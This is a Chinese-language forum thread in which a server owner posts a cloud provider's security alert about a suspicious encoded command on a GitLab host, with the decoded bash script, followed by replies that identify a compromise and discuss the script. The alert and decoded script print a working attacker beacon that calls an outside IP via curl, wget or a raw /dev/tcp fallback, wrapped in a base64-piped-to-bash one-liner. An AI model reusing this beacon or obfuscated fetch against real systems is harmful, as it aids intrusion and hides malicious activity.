V2EX = way to explore
V2EX 是一个关于分享和探索的地方
Sign Up Now
For Existing Member  Sign In
ipeony
1.09D

收到条阿里云的告警,看不懂是做什么用的,请教一下

  •  
  •   ipeony · Oct 29, 2021 · 11557 views
    This topic created in 1645 days ago, the information mentioned may be changed or developed.

    告警信息

    进程异常行为-可疑编码命令待处理
    备注
    该告警由如下引擎检测发现:
    用户名: chrony
    命令行: sh -c echo IyEvYmluL2Jhc2gKZnVuY3Rpb24gX19jdXJsKCkgewogIHJlYWQgcHJvdG8gc2VydmVyIHBhdGggPDw8JChlY2hvICR7MS8vLy8gfSkKICBET0M9LyR7cGF0aC8vIC8vfQogIEhPU1Q9JHtzZXJ2ZXIvLzoqfQogIFBPUlQ9JHtzZXJ2ZXIvLyo6fQogIFtbIHgiJHtIT1NUfSIgPT0geCIke1BPUlR9IiBdXSAmJiBQT1JUPTgwCgogIGV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAogIGVjaG8gLWVuICJHRVQgJHtET0N9IEhUVFAvMS4wXHJcbkhvc3Q6ICR7SE9TVH1cclxuXHJcbiIgPiYzCiAgKHdoaWxlIHJlYWQgbGluZTsgZG8KICAgW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawogIGRvbmUgJiYgY2F0KSA8JjMKICBleGVjIDM+Ji0KfQoKaWYgWyAteCAiJChjb21tYW5kIC12IGN1cmwpIiBdOyB0aGVuCiAgY3VybCAtbyAvZGV2L251bGwgMjEyLjE0Ny4zMi4zNS9nY2FlLzEwMS4zNy43OC4xMDgKZWxpZiBbIC14ICIkKGNvbW1hbmQgLXYgd2dldCkiIF07IHRoZW4KICB3Z2V0IC1xIC1PLSAyMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOAplbHNlCiAgX19jdXJsIGh0dHA6Ly8yMTIuMTQ3LjMyLjM1L2djYWUvMTAxLjM3Ljc4LjEwOCA+L2Rldi9udWxsCmZpCgo= | base64 -d | bash
    进程路径: /bin/dash
    进程 ID: 26803
    父进程文件路径: /usr/bin/perl
    父进程 ID: 26798
    事件说明: 检测模型发现您的服务器上执行的进程命令行高度可疑,很有可能与木马、病毒、黑客行为有关。
    

    解密后的脚本

    #!/bin/bash
    function __curl() {
      read proto server path <<<$(echo ${1//// })
      DOC=/${path// //}
      HOST=${server//:*}
      PORT=${server//*:}
      [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    
      exec 3<>/dev/tcp/${HOST}/$PORT
      echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
      (while read line; do
       [[ "$line" == $'\r' ]] && break
      done && cat) <&3
      exec 3>&-
    }
    
    if [ -x "$(command -v curl)" ]; then
      curl -o /dev/null 212.147.32.35/gcae/101.37.78.108
    elif [ -x "$(command -v wget)" ]; then
      wget -q -O- 212.147.32.35/gcae/101.37.78.108
    else
      __curl http://212.147.32.35/gcae/101.37.78.108 >/dev/null
    fi
    
    51 replies    2024-04-16 20:09:29 +08:00
    janxin
        1
    janxin  
       Oct 29, 2021
    明显被黑了...
    ipeony
        2
    ipeony  
    OP
       Oct 29, 2021
    @janxin #1 服务器到是没啥,没明白这进程再做什么,开个 shell 后面连过来
    bfdh
        3
    bfdh  
       Oct 29, 2021
    就发了一个 http 请求,其他啥都没干?
    ipeony
        4
    ipeony  
    OP
       Oct 29, 2021
    @bfdh #3 没找到其他的,服务器上就跑着几个 docker 应用,这是阿里云报的,这台机器连个公网 IP 都没分配
    number
        5
    number  
       Oct 29, 2021   ❤️ 46
    学到了在没有 curl 和 wget 的情况下
    还可以用这种方式下载文件
    makia98
        6
    makia98  
       Oct 29, 2021
    检查一下 docker 镜像有没有问题,我有过服务器被一个 redis 镜像当肉鸡的经历
    ipeony
        7
    ipeony  
    OP
       Oct 29, 2021
    @makia98 #6 嗯,redis 这个以前见过。这台机器主要跑 gitlab ,拿官方镜像跑的,快两年没动过了
    lqc09
        8
    lqc09  
       Oct 29, 2021
    你已经被干了,一般是要下载 shell 上线脚本统一管理像你这种的肉鸡
    lqc09
        9
    lqc09  
       Oct 29, 2021
    gitlab 最近刚好报了一个漏洞
    holinhot
        10
    holinhot  
       Oct 29, 2021
    @bfdh 估计是当肉鸡 CC 别人
    holinhot
        11
    holinhot  
       Oct 29, 2021
    还能 dev/tcp/ 这么玩,学到了
    illl
        12
    illl  
       Oct 29, 2021 via iPhone
    @ipeony gitlab 存在 rce 漏洞,赶紧修了吧
    GrayXu
        13
    GrayXu  
       Oct 29, 2021
    /dev/tcp/的一万种用法之……
    mingl0280
        14
    mingl0280  
       Oct 29, 2021 via Android
    /dev/tcp 还能这么用
    ipeony
        15
    ipeony  
    OP
       Oct 29, 2021
    @illl #12 嗯,已经升级过了,本来就用 docker 跑的
    cweijan
        16
    cweijan  
       Oct 29, 2021
    这个脚本很酷啊
    jptx
        17
    jptx  
       Oct 29, 2021
    学到了,手动建立 TCP 连接,拼接 HTTP 请求头,下载文件,赶紧记笔记。我最近每次碰到各种奇技淫巧都是从各种木马里学到的
    1BF6oSYCD9ngBHo1
        18
    1BF6oSYCD9ngBHo1  
       Oct 29, 2021   ❤️ 4
    我感觉楼主可以忽略这个东西,让入侵者继续操作,因为从脚本来,看他的操作确实有点骚有点秀了,让他玩下去说不定会有更有趣的事情发生!
    a22271001
        19
    a22271001  
       Oct 29, 2021
    @vinle 然后楼主的数据库空了,只留下一段加密钱包地址(doge
    villivateur
        20
    villivateur  
       Oct 29, 2021 via Android
    感觉好多系统没有 /dev/tcp 这个设备
    mikywei
        21
    mikywei  
       Oct 29, 2021
    所以云厂商无时无刻不在检测着用户的数据吗?真没安全感,感觉能随时取走用户的任何文件似的。
    Alexonx
        22
    Alexonx  
       Oct 29, 2021 via Android
    @villivateur 这个并不是一个设备,应该是 bash 提供的 feature ,允许通过这种方式发起 socket 连接。实际上这个设备应该是不存在的.....用其他 shell 也不一定能跑
    ipeony
        23
    ipeony  
    OP
       Oct 29, 2021
    @vinle #18 老实说我没发现有什么影响,当然可能数据泄漏光了(然而也没啥敏感的东西),或者被拿来挖矿(也没发现这个迹象),又或者上面有人提到的拿来 CC 别人(已经被我精致访问外网了
    sola97
        24
    sola97  
       Oct 29, 2021
    这个 curl 保存了
    cz5424
        25
    cz5424  
       Oct 29, 2021
    值得学习的一个 bash
    dushixiang
        26
    dushixiang  
       Oct 29, 2021
    收藏了,为了这个 curl 脚本
    ETiV
        27
    ETiV  
       Oct 29, 2021 via iPhone   ❤️ 2
    非常魔性的写法,sentry docker-compose 部署方式下,健康检查就是用这种方式实现的…装个 curl 就这么难吗🤦‍♂️

    https://github.com/getsentry/onpremise/blob/master/docker-compose.yml#L298
    Radiation
        28
    Radiation  
       Oct 29, 2021
    反弹 shell 用的
    maskerTUI
        29
    maskerTUI  
       Oct 29, 2021
    写这脚本的人是高手
    zwgf
        30
    zwgf  
       Oct 29, 2021
    自己实现 curl ,这个黑阔可以
    scyuns
        31
    scyuns  
       Oct 29, 2021
    学习了 跟着黑阔学技术
    oser
        32
    oser  
       Oct 29, 2021
    有意思,学习了
    wellsc
        33
    wellsc  
       Oct 29, 2021
    哈哈哈
    kwanzaa
        34
    kwanzaa  
       Oct 29, 2021
    哈哈哈哈 学到了
    labulaka521
        35
    labulaka521  
       Oct 29, 2021
    为什么 linux 上没有 /dev/tcp 这个呢
    labulaka521
        36
    labulaka521  
       Oct 29, 2021
    kugouo4
        37
    kugouo4  
       Oct 29, 2021
    v2ex 之跟着黑客学技术,妈妈再也不用担心容器里没有 curl 和 wget 了
    cxy2244186975
        38
    cxy2244186975  
       Oct 29, 2021
    乌云幸存白帽子路过……
    XLeopard
        39
    XLeopard  
       Oct 29, 2021
    学到了
    ericwood067
        40
    ericwood067  
       Oct 29, 2021   ❤️ 1
    这个脚步并没有单独干什么,只是把你的 IP 地址 101.37.78.108 上报给了他们的服务器 http://212.147.32.35/gcae/,主要是看看有没有后续操作。
    cache
        41
    cache  
       Oct 29, 2021
    @labulaka521 /dev/tcp 是 bash 内置的 和 linux 没关系,换 zsh 就跑不起来了
    Davic1
        42
    Davic1  
       Oct 29, 2021
    @ericwood067 #40 请教一下~ 哪里可以判断出 101 那个就是楼主的 Host IP 呢?
    ericwood067
        43
    ericwood067  
       Oct 29, 2021   ❤️ 2
    @Davic1 这个脚本的作用是和主机 212.147.32.35 建立了一条 tcp 链接,然后使用 httpGet 方法访问了 /gcae/101.37.78.108 这个路径,212 主机返回的结果直接被丢进了 /dev/null 里,所以肯定不是想从 212 主机获取什么东西;/gcae 应该是 212 主机上部署的一个服务的 gateway ,所以 101 应该就是楼主的 Host Ip 。不然做这个操作就没有任何道理了。
    Davic1
        44
    Davic1  
       Oct 29, 2021
    @ericwood067 #43 感谢~
    zouri
        45
    zouri  
       Oct 29, 2021
    各种奇怪的用法真是活到老学到老
    pjntt
        46
    pjntt  
       Oct 30, 2021
    感觉这个是防盗版的做法吧?校验 IP 是否被授权了?
    IMengXin
        47
    IMengXin  
       Oct 30, 2021
    阿里云一直警告我 frps.exe ,很有可能与木马、病毒、黑客行为有关。
    scukmh
        48
    scukmh  
       Oct 30, 2021
    学到了
    spinecho
        49
    spinecho  
       Oct 30, 2021
    m 学到了
    hukei
        50
    hukei  
       Apr 12, 2024
    核心就是 /dev/tcp
    tyit
        51
    tyit  
       Apr 16, 2024
    这个脚本的作用是从指定的服务器( IP 地址为 212.147.32.35 )下载或获取一些数据。它首先尝试使用 curl 命令来获取数据,如果 curl 不可用,则尝试使用 wget 命令,最后如果 wget 也不可用,则使用自定义的__curl 函数来获取数据。

    具体来说,它执行以下步骤:

    定义了一个__curl 函数,用于通过 HTTP 协议从指定的服务器获取数据。这个函数会解析输入的 URL ,提取出协议、服务器地址和路径,并使用/dev/tcp 特殊文件来建立 TCP 连接到服务器,并发送 HTTP GET 请求,最后将响应内容输出到标准输出。

    然后,它检查系统中是否安装了 curl 命令,如果安装了,则使用 curl 来获取数据,将数据写入到/dev/null ,即丢弃该数据,因为 curl 的输出已经被重定向到/dev/null ,所以用户不会看到输出。

    如果 curl 不可用,则检查系统中是否安装了 wget 命令,如果安装了,则使用 wget 来获取数据,并将数据输出到标准输出( STDOUT )。

    如果既没有 curl 也没有 wget ,则调用自定义的__curl 函数来获取数据,将数据输出到/dev/null ,同样是为了不显示数据到用户终端。

    综合来说,这个脚本的目的是从指定的服务器获取数据,但是更倾向于使用 curl 或 wget 命令来实现。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Solana   ·   2517 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 116ms · UTC 05:47 · PVG 13:47 · LAX 22:47 · JFK 01:47
    ♥ Do have faith in what you're doing.